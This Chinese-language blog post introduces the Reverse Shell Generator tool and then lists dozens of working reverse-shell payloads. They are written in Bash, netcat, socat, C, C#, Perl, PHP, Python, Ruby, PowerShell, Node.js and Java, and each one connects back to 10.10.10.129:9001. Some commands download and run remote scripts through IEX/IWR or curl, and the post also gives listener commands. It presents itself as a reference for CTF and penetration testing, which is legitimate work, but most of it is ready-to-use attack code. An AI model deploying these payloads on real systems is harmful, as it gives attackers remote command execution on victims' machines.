【渗透测试】ReverseShellGenerator工具使用指南

admin 2026-03-03 05:19:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了开源工具ReverseShellGenerator,旨在辅助CTF竞赛与安全测试中的反向Shell生成。文章提供了项目地址、在线版本及Docker本地部署方法,并展示了监听器生成、编码支持等核心功能。文档核心部分汇集了Bash、Netcat、Python、PHP、C、C#等多种编程语言的反向Shell命令示例,以及各类监听器配置指令。作为一款实用工具指南,它极大简化了Payload构造流程,为渗透测试人员提供了便捷的速查与生成方案,具有较高的实战参考价值。 综合评分: 85 文章分类: 渗透测试,安全工具,实战经验,CTF


cover_image

【渗透测试】Reverse Shell Generator 工具使用指南

原创

利刃信安 利刃信安

利刃信安

2026年2月26日 11:27 北京

Reverse Shell Generator 工具使用指南

项目简介

Reverse Shell Generator 是一个开源的反向 Shell 生成器,托管在 GitHub 上,主要用于 CTF(Capture The Flag)竞赛和安全测试。

  • • GitHub 仓库: https://github.com/0dayCTF/reverse-shell-generator
  • • 在线版本: https://revshells.com

主要功能

| 功能 | 描述 | | — | — | | 生成监听器和反向 Shell | 支持生成常见的监听器和反向 Shell 命令 | | 保存按钮 | 从浏览器下载 Payload | | Raw 模式 | 通过 cURL 将 Shell 下载到本地机器 | | 端口递增按钮 | 监听端口号自动 +1 | | 编码支持 | URI 和 Base64 编码 | | 本地存储 | 持久化保存配置 | | 主题模式 | 深色、浅色和 Meme 模式 | | HoaxShell 集成 | 支持自定义监听器 |

本地部署

使用 Netlify 开发模式

npx netlify dev

使用 Docker 运行

docker build -t reverse_shell_generator .
docker run -d -p 80:80 reverse_shell_generator

然后访问 http://localhost:80


Reverse Shell 命令大全

以下以 IP: 10.10.10.129,端口: 9001,Shell: bash 为例,列出所有命令。

监听器命令 (Listener)

| 名称 | 命令 | | — | — | | nc | nc -lvnp 9001 | | nc freebsd | nc -lvn 9001 | | busybox nc | busybox nc -lp 9001 | | ncat | ncat -lvnp 9001 | | ncat.exe | ncat.exe -lvnp 9001 | | ncat (TLS) | ncat --ssl -lvnp 9001 | | rlwrap + nc | rlwrap -cAr nc -lvnp 9001 | | rustcat | rcat listen 9001 | | openssl | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port 9001 | | pwncat | python3 -m pwncat -lp 9001 | | pwncat (windows) | python3 -m pwncat -m windows -lp 9001 | | windows ConPty | stty raw -echo; (stty size; cat) | nc -lvnp 9001 | | socat | socat -d -d TCP-LISTEN:9001 STDOUT | | socat (TTY) | socat -d -d file:\ tty,raw,echo=0 TCP-LISTEN:9001 | | powercat | powercat -l -p 9001 | | msfconsole | msfconsole -q -x "use multi/handler; set payload {payload}; set lhost 10.10.10.129; set lport 9001; exploit" | | hoaxshell | python3 -c "$(curl -s https://raw.githubusercontent.com/t3l3machus/hoaxshell/main/revshells/hoaxshell-listener.py)" -t {type} -p 9001 |


Bash 反向 Shell

Bash -i

bash -i >& /dev/tcp/10.10.10.129/9001 0>&1

Bash 196

0<&196;exec&nbsp;196<>/dev/tcp/10.10.10.129/9001; bash <&196 >&196 2>&196

Bash read line

exec&nbsp;5<>/dev/tcp/10.10.10.129/9001;cat&nbsp;<&5 |&nbsp;while&nbsp;read&nbsp;line;&nbsp;do&nbsp;$line&nbsp;2>&5 >&5;&nbsp;done

Bash 5

bash -i 5<> /dev/tcp/10.10.10.129/9001 0<&5 1>&5 2>&5

Bash udp

bash -i >& /dev/udp/10.10.10.129/9001 0>&1

Netcat 反向 Shell

nc mkfifo

rm&nbsp;/tmp/f;mkfifo&nbsp;/tmp/f;cat&nbsp;/tmp/f|bash -i 2>&1|nc 10.10.10.129 9001 >/tmp/f

nc -e

nc 10.10.10.129 9001 -e bash

nc.exe -e (Windows)

nc.exe 10.10.10.129 9001 -e bash

BusyBox nc -e

busybox nc 10.10.10.129 9001 -e bash

nc -c

nc -c bash 10.10.10.129 9001

ncat -e

ncat 10.10.10.129 9001 -e bash

ncat.exe -e (Windows)

ncat.exe 10.10.10.129 9001 -e bash

ncat udp

rm&nbsp;/tmp/f;mkfifo&nbsp;/tmp/f;cat&nbsp;/tmp/f|bash -i 2>&1|ncat -u 10.10.10.129 9001 >/tmp/f

其他工具反向 Shell

curl

C='curl -Ns telnet://10.10.10.129:9001';&nbsp;$C&nbsp;</dev/null 2>&1 | bash 2>&1 |&nbsp;$C&nbsp;>/dev/null

rustcat

rcat connect -s bash 10.10.10.129 9001

telnet

TF=$(mktemp&nbsp;-u);mkfifo&nbsp;$TF&nbsp;&& telnet 10.10.10.129 9001 0<$TF&nbsp;| bash 1>$TF

socat #1

socat TCP:10.10.10.129:9001 EXEC:bash

socat #2 (TTY)

socat TCP:10.10.10.129:9001 EXEC:'bash',pty,stderr,setsid,sigint,sane

sqlite3 nc mkfifo

sqlite3 /dev/null&nbsp;'.shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.10.129 9001 >/tmp/f'

C 反向 Shell

C (Linux/macOS)

#include&nbsp;<stdio.h>
#include&nbsp;<sys/socket.h>
#include&nbsp;<sys/types.h>
#include&nbsp;<stdlib.h>
#include&nbsp;<unistd.h>
#include&nbsp;<netinet/in.h>
#include&nbsp;<arpa/inet.h>

int&nbsp;main(void){
&nbsp; &nbsp;&nbsp;int&nbsp;port =&nbsp;9001;
&nbsp; &nbsp;&nbsp;struct&nbsp;sockaddr_in&nbsp;revsockaddr;

&nbsp; &nbsp;&nbsp;int&nbsp;sockt = socket(AF_INET, SOCK_STREAM,&nbsp;0);
&nbsp; &nbsp; revsockaddr.sin_family = AF_INET;
&nbsp; &nbsp; revsockaddr.sin_port = htons(port);
&nbsp; &nbsp; revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.129");

&nbsp; &nbsp; connect(sockt, (struct&nbsp;sockaddr *) &revsockaddr,
&nbsp; &nbsp;&nbsp;sizeof(revsockaddr));
&nbsp; &nbsp; dup2(sockt,&nbsp;0);
&nbsp; &nbsp; dup2(sockt,&nbsp;1);
&nbsp; &nbsp; dup2(sockt,&nbsp;2);

&nbsp; &nbsp;&nbsp;char&nbsp;*&nbsp;const&nbsp;argv[] = {"bash",&nbsp;NULL};
&nbsp; &nbsp; execvp("bash", argv);

&nbsp; &nbsp;&nbsp;return&nbsp;0;
}

C Windows

#include&nbsp;<winsock2.h>
#include&nbsp;<stdio.h>
#pragma&nbsp;comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
struct&nbsp;sockaddr_in&nbsp;hax;
char&nbsp;ip_addr[16] =&nbsp;"10.10.10.129";
char&nbsp;port[6] =&nbsp;"9001";

STARTUPINFO ini_processo;

PROCESS_INFORMATION processo_info;

int&nbsp;main()
{
&nbsp; &nbsp; WSAStartup(MAKEWORD(2,&nbsp;2), &wsaData);
&nbsp; &nbsp; Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,&nbsp;NULL,&nbsp;0,&nbsp;0);

&nbsp; &nbsp;&nbsp;struct&nbsp;hostent&nbsp;*host;
&nbsp; &nbsp; host = gethostbyname(ip_addr);
&nbsp; &nbsp; strcpy_s(ip_addr,&nbsp;16, inet_ntoa(*((struct&nbsp;in_addr *)host->h_addr)));

&nbsp; &nbsp; hax.sin_family = AF_INET;
&nbsp; &nbsp; hax.sin_port = htons(atoi(port));
&nbsp; &nbsp; hax.sin_addr.s_addr = inet_addr(ip_addr);

&nbsp; &nbsp; WSAConnect(Winsock, (SOCKADDR*)&hax,&nbsp;sizeof(hax),&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL);

&nbsp; &nbsp;&nbsp;memset(&ini_processo,&nbsp;0,&nbsp;sizeof(ini_processo));
&nbsp; &nbsp; ini_processo.cb =&nbsp;sizeof(ini_processo);
&nbsp; &nbsp; ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
&nbsp; &nbsp; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

&nbsp; &nbsp; TCHAR cmd[255] = TEXT("cmd.exe");

&nbsp; &nbsp; CreateProcess(NULL, cmd,&nbsp;NULL,&nbsp;NULL, TRUE,&nbsp;0,&nbsp;NULL,&nbsp;NULL, &ini_processo, &processo_info);

&nbsp; &nbsp;&nbsp;return&nbsp;0;
}

C# 反向 Shell

C# TCP Client

using&nbsp;System;
using&nbsp;System.Text;
using&nbsp;System.IO;
using&nbsp;System.Diagnostics;
using&nbsp;System.ComponentModel;
using&nbsp;System.Linq;
using&nbsp;System.Net;
using&nbsp;System.Net.Sockets;

namespace&nbsp;ConnectBack
{
&nbsp; &nbsp;&nbsp;public&nbsp;class&nbsp;Program
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;static&nbsp;StreamWriter streamWriter;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;Main(string[]&nbsp;args)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;using(TcpClient client =&nbsp;new&nbsp;TcpClient("10.10.10.129",&nbsp;9001))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;using(Stream stream = client.GetStream())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;using(StreamReader rdr =&nbsp;new&nbsp;StreamReader(stream))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; streamWriter =&nbsp;new&nbsp;StreamWriter(stream);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StringBuilder strInput =&nbsp;new&nbsp;StringBuilder();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Process p =&nbsp;new&nbsp;Process();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.StartInfo.FileName =&nbsp;"bash";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.StartInfo.CreateNoWindow =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.StartInfo.UseShellExecute =&nbsp;false;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.StartInfo.RedirectStandardOutput =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.StartInfo.RedirectStandardInput =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.StartInfo.RedirectStandardError =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.OutputDataReceived +=&nbsp;new&nbsp;DataReceivedEventHandler(CmdOutputDataHandler);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.Start();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.BeginOutputReadLine();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while(true)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strInput.Append(rdr.ReadLine());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.StandardInput.WriteLine(strInput);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strInput.Remove(0, strInput.Length);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;void&nbsp;CmdOutputDataHandler(object&nbsp;sendingProcess, DataReceivedEventArgs outLine)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StringBuilder strOutput =&nbsp;new&nbsp;StringBuilder();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!String.IsNullOrEmpty(outLine.Data))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strOutput.Append(outLine.Data);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; streamWriter.WriteLine(strOutput);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; streamWriter.Flush();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;catch&nbsp;(Exception err) { }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

C# Bash -i

using&nbsp;System;
using&nbsp;System.Diagnostics;

namespace&nbsp;BackConnect&nbsp;{
&nbsp;&nbsp;class&nbsp;ReverseBash&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;Main(string[]&nbsp;args)&nbsp;{
&nbsp; &nbsp; &nbsp; Process proc =&nbsp;new&nbsp;System.Diagnostics.Process();
&nbsp; &nbsp; &nbsp; proc.StartInfo.FileName =&nbsp;"bash";
&nbsp; &nbsp; &nbsp; proc.StartInfo.Arguments =&nbsp;"-c \"bash -i >& /dev/tcp/10.10.10.129/9001 0>&1\"";
&nbsp; &nbsp; &nbsp; proc.StartInfo.UseShellExecute =&nbsp;false;
&nbsp; &nbsp; &nbsp; proc.StartInfo.RedirectStandardOutput =&nbsp;true;
&nbsp; &nbsp; &nbsp; proc.Start();

&nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(!proc.StandardOutput.EndOfStream) {
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(proc.StandardOutput.ReadLine());
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; }
}

Haskell 反向 Shell

Haskell #1

module&nbsp;Main&nbsp;where

import&nbsp;System.Process

main&nbsp;= callCommand&nbsp;"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | bash -i 2>&1 | nc 10.10.10.129 9001 >/tmp/f"

OpenSSL 反向 Shell

OpenSSL

mkfifo&nbsp;/tmp/s; bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.129:9001 > /tmp/s;&nbsp;rm&nbsp;/tmp/s

Perl 反向 Shell

Perl

perl -e&nbsp;'use Socket;$i="10.10.10.129";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'

Perl no sh

perl -MIO -e&nbsp;'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.129:9001");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP 反向 Shell

PHP exec

php -r&nbsp;'$sock=fsockopen("10.10.10.129",9001);exec("bash <&3 >&3 2>&3");'

PHP shell_exec

php -r&nbsp;'$sock=fsockopen("10.10.10.129",9001);shell_exec("bash <&3 >&3 2>&3");'

PHP system

php -r&nbsp;'$sock=fsockopen("10.10.10.129",9001);system("bash <&3 >&3 2>&3");'

PHP passthru

php -r&nbsp;'$sock=fsockopen("10.10.10.129",9001);passthru("bash <&3 >&3 2>&3");'

PHP `

php -r&nbsp;'$sock=fsockopen("10.10.10.129",9001);`bash <&3 >&3 2>&3`;'

PHP popen

php -r&nbsp;'$sock=fsockopen("10.10.10.129",9001);popen("bash <&3 >&3 2>&3", "r");'

PHP proc_open

php -r&nbsp;'$sock=fsockopen("10.10.10.129",9001);$proc=proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Python 反向 Shell

Python #1

export&nbsp;RHOST="10.10.10.129";export&nbsp;RPORT=9001;python -c&nbsp;'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

Python #2

python -c&nbsp;'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.129",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

Python3 #1

export&nbsp;RHOST="10.10.10.129";export&nbsp;RPORT=9001;python3 -c&nbsp;'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

Python3 #2

python3 -c&nbsp;'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.129",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

Python3 Windows

import&nbsp;os,socket,subprocess,threading;
def&nbsp;s2p(s, p):
&nbsp; &nbsp;&nbsp;while&nbsp;True:
&nbsp; &nbsp; &nbsp; &nbsp; data = s.recv(1024)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(data) >&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.stdin.write(data)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.stdin.flush()

def&nbsp;p2s(s, p):
&nbsp; &nbsp;&nbsp;while&nbsp;True:
&nbsp; &nbsp; &nbsp; &nbsp; s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.129",9001))

p=subprocess.Popen(["bash"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon =&nbsp;True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon =&nbsp;True
p2s_thread.start()

try:
&nbsp; &nbsp; p.wait()
except&nbsp;KeyboardInterrupt:
&nbsp; &nbsp; s.close()

Python3 shortest

python3 -c&nbsp;'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.129",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

Ruby 反向 Shell

Ruby #1

ruby -rsocket -e'spawn("bash",[:in,:out,:err]=>TCPSocket.new("10.10.10.129",9001))'

Ruby no sh

ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.10.129","9001");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

PowerShell 反向 Shell (Windows)

Windows ConPty

IEX(IWR&nbsp;https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1&nbsp;-UseBasicParsing);&nbsp;Invoke-ConPtyShell&nbsp;10.10.10.129&nbsp;9001

PowerShell #1

$LHOST&nbsp;=&nbsp;"10.10.10.129";&nbsp;$LPORT&nbsp;=&nbsp;9001;&nbsp;$TCPClient&nbsp;=&nbsp;New-Object&nbsp;Net.Sockets.TCPClient($LHOST,&nbsp;$LPORT);&nbsp;$NetworkStream&nbsp;=&nbsp;$TCPClient.GetStream();&nbsp;$StreamReader&nbsp;=&nbsp;New-Object&nbsp;IO.StreamReader($NetworkStream);&nbsp;$StreamWriter&nbsp;=&nbsp;New-Object&nbsp;IO.StreamWriter($NetworkStream);&nbsp;$StreamWriter.AutoFlush =&nbsp;$true;&nbsp;$Buffer&nbsp;=&nbsp;New-Object&nbsp;System.Byte[]&nbsp;1024;&nbsp;while&nbsp;($TCPClient.Connected) {&nbsp;while&nbsp;($NetworkStream.DataAvailable) {&nbsp;$RawData&nbsp;=&nbsp;$NetworkStream.Read($Buffer,&nbsp;0,&nbsp;$Buffer.Length);&nbsp;$Code&nbsp;= ([text.encoding]::UTF8).GetString($Buffer,&nbsp;0,&nbsp;$RawData&nbsp;-1) };&nbsp;if&nbsp;($TCPClient.Connected&nbsp;-and&nbsp;$Code.Length&nbsp;-gt&nbsp;1) {&nbsp;$Output&nbsp;=&nbsp;try&nbsp;{&nbsp;Invoke-Expression&nbsp;($Code)&nbsp;2>&1&nbsp;}&nbsp;catch&nbsp;{&nbsp;$_&nbsp;};&nbsp;$StreamWriter.Write("$Output`n");&nbsp;$Code&nbsp;=&nbsp;$null&nbsp;} };&nbsp;$TCPClient.Close();&nbsp;$NetworkStream.Close();&nbsp;$StreamReader.Close();&nbsp;$StreamWriter.Close()

PowerShell #2

powershell&nbsp;-nop&nbsp;-c&nbsp;"$client&nbsp;= New-Object System.Net.Sockets.TCPClient('10.10.10.129',9001);$stream&nbsp;=&nbsp;$client.GetStream();[byte[]]$bytes&nbsp;= 0..65535|%{0};while(($i&nbsp;=&nbsp;$stream.Read($bytes, 0,&nbsp;$bytes.Length)) -ne 0){;$data&nbsp;= (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,&nbsp;$i);$sendback&nbsp;= (iex&nbsp;$data&nbsp;2>&1 | Out-String );$sendback2&nbsp;=&nbsp;$sendback&nbsp;+ 'PS ' + (pwd).Path + '> ';$sendbyte&nbsp;= ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

PowerShell #3

powershell&nbsp;-nop&nbsp;-W&nbsp;hidden&nbsp;-noni&nbsp;-ep&nbsp;bypass&nbsp;-c&nbsp;"$TCPClient&nbsp;= New-Object Net.Sockets.TCPClient('10.10.10.129', 9001);$NetworkStream&nbsp;=&nbsp;$TCPClient.GetStream();$StreamWriter&nbsp;= New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer&nbsp;= 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String&nbsp;+ 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead&nbsp;=&nbsp;$NetworkStream.Read($Buffer, 0,&nbsp;$Buffer.Length)) -gt 0) {$Command&nbsp;= ([text.encoding]::UTF8).GetString($Buffer, 0,&nbsp;$BytesRead&nbsp;- 1);$Output&nbsp;= try {Invoke-Expression&nbsp;$Command&nbsp;2>&1 | Out-String} catch {$_&nbsp;| Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

PowerShell #4 (TLS)

$sslProtocols&nbsp;= [System.Security.Authentication.SslProtocols]::Tls12;&nbsp;$TCPClient&nbsp;=&nbsp;New-Object&nbsp;Net.Sockets.TCPClient('10.10.10.129',&nbsp;9001);$NetworkStream&nbsp;=&nbsp;$TCPClient.GetStream();$SslStream&nbsp;=&nbsp;New-Object&nbsp;Net.Security.SslStream($NetworkStream,$false,({$true}&nbsp;-as&nbsp;[Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted&nbsp;-or&nbsp;!$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter&nbsp;=&nbsp;New-Object&nbsp;IO.StreamWriter($SslStream);function&nbsp;WriteToStream&nbsp;($String)&nbsp;{[byte[]]$script:Buffer&nbsp;=&nbsp;New-Object&nbsp;System.Byte[]&nbsp;4096&nbsp;;$StreamWriter.Write($String&nbsp;+&nbsp;'SHELL> ');$StreamWriter.Flush()};WriteToStream&nbsp;'';while(($BytesRead&nbsp;=&nbsp;$SslStream.Read($Buffer,&nbsp;0,&nbsp;$Buffer.Length))&nbsp;-gt&nbsp;0) {$Command&nbsp;= ([text.encoding]::UTF8).GetString($Buffer,&nbsp;0,&nbsp;$BytesRead&nbsp;-&nbsp;1);$Output&nbsp;=&nbsp;try&nbsp;{Invoke-Expression&nbsp;$Command&nbsp;2>&1&nbsp;|&nbsp;Out-String}&nbsp;catch&nbsp;{$_&nbsp;|&nbsp;Out-String}WriteToStream ($Output)}$StreamWriter.Close()

Node.js 反向 Shell

node.js

require('child_process').exec('nc -e bash 10.10.10.129 9001')

node.js #2

(function(){
&nbsp; &nbsp;&nbsp;var&nbsp;net =&nbsp;require("net"),
&nbsp; &nbsp; &nbsp; &nbsp; cp =&nbsp;require("child_process"),
&nbsp; &nbsp; &nbsp; &nbsp; sh = cp.spawn("bash", []);
&nbsp; &nbsp;&nbsp;var&nbsp;client =&nbsp;new&nbsp;net.Socket();
&nbsp; &nbsp; client.connect(9001,&nbsp;"10.10.10.129",&nbsp;function(){
&nbsp; &nbsp; &nbsp; &nbsp; client.pipe(sh.stdin);
&nbsp; &nbsp; &nbsp; &nbsp; sh.stdout.pipe(client);
&nbsp; &nbsp; &nbsp; &nbsp; sh.stderr.pipe(client);
&nbsp; &nbsp; });
&nbsp; &nbsp;&nbsp;return&nbsp;/a/;&nbsp;// Prevents the Node.js application from crashing
})();

Java 反向 Shell

Java #1

public&nbsp;class&nbsp;shell&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; Process p;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.129/9001 0>&1");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.waitFor();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.destroy();
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {}
&nbsp; &nbsp; }
}

Java #2

public&nbsp;class&nbsp;shell&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ProcessBuilder&nbsp;pb&nbsp;=&nbsp;new&nbsp;ProcessBuilder("bash",&nbsp;"-c",&nbsp;"$@| bash -i >& /dev/tcp/10.10.10.129/9001 0>&1")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .redirectErrorStream(true);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Process&nbsp;p&nbsp;=&nbsp;pb.start();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.waitFor();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.destroy();
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {}
&nbsp; &nbsp; }
}

Java #3

import&nbsp;java.io.InputStream;
import&nbsp;java.io.OutputStream;
import&nbsp;java.net.Socket;

public&nbsp;class&nbsp;shell&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;host&nbsp;=&nbsp;"10.10.10.129";
